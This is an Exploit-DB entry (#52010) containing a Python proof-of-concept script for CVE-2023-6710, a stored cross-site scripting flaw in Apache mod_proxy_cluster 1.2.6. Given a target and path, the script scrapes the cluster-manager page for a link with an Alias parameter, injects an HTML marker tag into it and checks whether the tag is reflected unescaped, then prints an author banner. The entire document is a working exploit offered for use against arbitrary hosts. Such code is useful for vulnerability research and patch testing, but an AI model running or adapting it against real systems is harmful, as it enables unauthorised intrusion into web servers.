Exploit-DB #52010
Description: Apache mod_proxy_cluster 1.2.6 - Stored XSS
Type: webapps
Platform: php
Date: 2024-05-13
Author: Mohamed Mounir Boudjema

Exploit:
import requests
import argparse
from bs4 import BeautifulSoup
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
from requests.exceptions import RequestException

class Colors:
    RED = '\033[91m'
    GREEN = '\033[1;49;92m'
    RESET = '\033[0m'

def get_cluster_manager_url(base_url, path):
    print(Colors.GREEN + f"Preparing the groundwork for the exploitation on {base_url}..." + Colors.RESET)
    try:
        response = requests.get(base_url + path)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(Colors.RED + f"Error: {e}" + Colors.RESET)
        return None

    print(Colors.GREEN + f"Starting exploit check on {base_url}..." + Colors.RESET)

    if response.status_code == 200:
        print(Colors.GREEN + f"Check executed successfully on {base_url}..." + Colors.RESET)
        # Use BeautifulSoup to parse the HTML content
        soup = BeautifulSoup(response.text, 'html.parser')

        # Find all 'a' tags with 'href' attribute
        all_links = soup.find_all('a', href=True)

        # Search for the link containing the Alias parameter in the href attribute
        cluster_manager_url = None
        for link in all_links:
            parsed_url = urlparse(link['href'])
            query_params = parse_qs(parsed_url.query)
            alias_value = query_params.get('Alias', [None])[0]

            if alias_value:
                print(Colors.GREEN + f"Alias value found" + Colors.RESET)
                cluster_manager_url = link['href']
                break

        if cluster_manager_url:
            print(Colors.GREEN + f"Preparing the injection on {base_url}..." + Colors.RESET)
            return cluster_manager_url
        else:
            print(Colors.RED + f"Error: Alias value not found on {base_url}..." + Colors.RESET)
            return None

    print(Colors.RED + f"Error: Unable to get the initial step on {base_url}")
    return None

def update_alias_value(url):
    parsed_url = urlparse(url)
    query_params = parse_qs(parsed_url.query, keep_blank_values=True)
    query_params['Alias'] = ["<DedSec-47>"]
    updated_url = urlunparse(parsed_url._replace(query=urlencode(query_params, doseq=True)))
    print(Colors.GREEN + f"Injection executed successfully on {updated_url}" + Colors.RESET)
    return updated_url

def check_response_for_value(url, check_value):
    response = requests.get(url)
    if check_value in response.text:
        print(Colors.RED + "Website is vulnerable POC by :")
        print(Colors.GREEN + """
          ____           _ ____                  _  _ _____ 
         |  _ \  ___  __| / ___|  ___  ___      | || |___  |
         | | | |/ _ \/ _` \___ \ / _ \/ __| ____| || |  / / 
         | |_| |  __/ (_| |___) |  __/ (_  |____|__  | / /  
         |____/ \___|\__,_|____/ \___|\___|        |_|/_/   
                                     github.com/DedSec-47    """)
    else:
        print(Colors.GREEN + "Website is not vulnerable POC by :")
        print(Colors.GREEN + """
          ____           _ ____                  _  _ _____ 
         |  _ \  ___  __| / ___|  ___  ___      | || |___  |
         | | | |/ _ \/ _` \___ \ / _ \/ __| ____| || |  / / 
         | |_| |  __/ (_| |___) |  __/ (_  |____|__  | / /  
         |____/ \___|\__,_|____/ \___|\___|        |_|/_/   
                                     github.com/DedSec-47    """)

def main():
    # Create a command-line argument parser
    parser = argparse.ArgumentParser(description="python CVE-2023-6710.py -t https://example.com -u /cluster-manager")

    # Add a command-line argument for the target (-t/--target)
    parser.add_argument('-t', '--target', help='Target domain (e.g., https://example.com)', required=True)

    # Add a command-line argument for the URL path (-u/--url)
    parser.add_argument('-u', '--url', help='URL path (e.g., /cluster-manager)', required=True)

    # Parse the command-line arguments
    args = parser.parse_args()

    # Get the cluster manager URL from the specified website
    cluster_manager_url = get_cluster_manager_url(args.target, args.url)

    # Check if the cluster manager URL is found
    if cluster_manager_url:
        # Modify the URL by adding the cluster manager value
        modified_url = args.target + cluster_manager_url
        modified_url = update_alias_value(args.target + cluster_manager_url)
        print(Colors.GREEN + "Check executed successfully" + Colors.RESET)

        # Check the response for the value "<DedSec-47>"
        check_response_for_value(modified_url, "<DedSec-47>")

if __name__ == "__main__":
    main()